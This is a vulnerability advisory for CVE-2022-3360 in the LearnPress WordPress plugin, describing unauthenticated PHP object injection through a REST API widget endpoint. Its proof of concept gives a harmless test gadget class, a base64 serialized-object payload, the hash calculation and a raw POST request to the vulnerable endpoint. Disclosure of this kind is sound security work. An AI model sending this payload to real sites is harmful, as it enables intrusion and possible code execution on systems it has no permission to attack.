LearnPress < 4.1.7.2 – Unauthenticated PHP Object Injection via REST API | CVE 2022-3360

Description

The plugin unserialises user input in a REST API endpoint available to unauthenticated users, which could lead to PHP Object Injection when a suitable gadget is present, leadint to remote code execution (RCE). To successfully exploit this vulnerability attackers must have knowledge of the site secrets, allowing them to generate a valid hash via the wp_hash() function.

Proof of Concept

To simulate a gadget chain, put the following code in a plugin

class Evil {
  public function __wakeup() : void {
    die("Arbitrary deserialization");
  }
}

payload: {"widget":"learnpress_widget_course_extra","instance":"Tzo0OiJFdmlsIjowOnt9Ow==","hash":"ef7da9dd4fe6ebf4598ab3c7b975322f"}
- instance is base64 encode of serialized object: O:4:"Evil":0:{};
- hash is caculated by: wp_hash(base64_decode($instance ))

POST /wp-json/lp/v1/widgets/api?_locale=user HTTP/1.1
Content-Type: application/json
Content-Length: 123

{"widget":"learnpress_widget_course_extra","instance":"Tzo0OiJFdmlsIjowOnt9Ow==","hash":"ef7da9dd4fe6ebf4598ab3c7b975322f"}